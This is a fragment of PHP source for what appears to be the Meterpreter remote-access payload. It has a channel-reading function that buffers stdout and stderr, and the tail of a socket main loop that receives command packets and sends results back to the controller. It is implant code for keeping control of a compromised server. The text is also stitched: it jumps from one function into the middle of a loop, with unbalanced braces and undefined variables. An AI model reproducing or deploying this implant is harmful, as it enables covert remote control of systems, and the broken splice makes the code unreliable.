function channel_read($chan_id, $len)
{
$c = get_channel_by_id($chan_id);
if ($c) {
# First get any pending unread data from a previous read
$ret = substr($c['data'], 0, $len);
$c['data'] = substr($c['data'], $len);
if (strlen($ret) > 0) {
my_print("Had some leftovers: '{$ret}'");
}
# Next grab stderr if we have it and it's not the same file descriptor
# as stdout.
if (strlen($ret) < $len and is_resource($c[2]) and $c[1] != $c[2]) {
# Read as much as possible into the channel's data buffer
$read = read($c[2]);
$c['data'] .= $read;
# Now slice out however much the client asked for. If there's any
# left over, they'll get it next time. If it doesn't add up to
# what they requested, oh well, they'll just have to call read
# again. Looping until we get the requested number of bytes is
# inconsistent with win32 meterpreter and causes the whole php
# process to block waiting on input.
$bytes_needed = $len - strlen($ret);
$ret .= substr($c['data'], 0, $bytes_needed);
$c['data'] = substr($c['data'], $bytes_needed);
}
# Then if there's still room, grab stdout
if (strlen($ret) < $len and is_resource($c[1])) {
# Same as above, but for stdout. This will overwrite a false
# return value from reading stderr but the two should generally
# EOF at the same time, so it should be fine.
$read = read($c[1]);
$c['data'] .= $read;
$bytes_needed = $len - strlen($ret);
$ret .= substr($c['data'], 0, $bytes_needed);
$c['data'] = substr($c['data'], $bytes_needed);
}
# In the event of one or the other of the above read()s returning
# false, make sure we have sent any pending unread data before saying
# EOF by returning false. Note that if they didn't return false, it is
# perfectly legitimate to return an empty string which just means
# there's no data right now but we haven't hit EOF yet.
if (false === $read and empty($ret)) {
if (interacting($chan_id)) {
handle_dead_resource_channel($c[1]);
}
return false;
}
return $ret;
} else {
return false;
}
}
# length of the whole packet, including header
$len = $a['len'];
# packet type should always be 0, i.e. PACKET_TYPE_REQUEST
$ptype = $a['type'];
while (strlen($request) < $a['len']) {
$request .= read($msgsock, $len - strlen($request));
}
#my_print("creating response");
$response = create_response($request);
write($msgsock, $response);
} else {
my_print("not Msgsock: {$ready}");
$data = read($ready);
my_print(sprintf("Read returned %s bytes", strlen($data)));
if (false === $data) {
$request = handle_dead_resource_channel($ready);
write($msgsock, $request);
remove_reader($ready);
} elseif (strlen($data) == 0) {
remove_reader($ready);
} else {
$request = handle_resource_read_channel($ready, $data);
my_print("Got some data from a channel that needs to be passed back to the msgsock");
write($msgsock, $request);
}
}
}
$r = $GLOBALS['readers'];
}
# end main loop
my_print("Finished");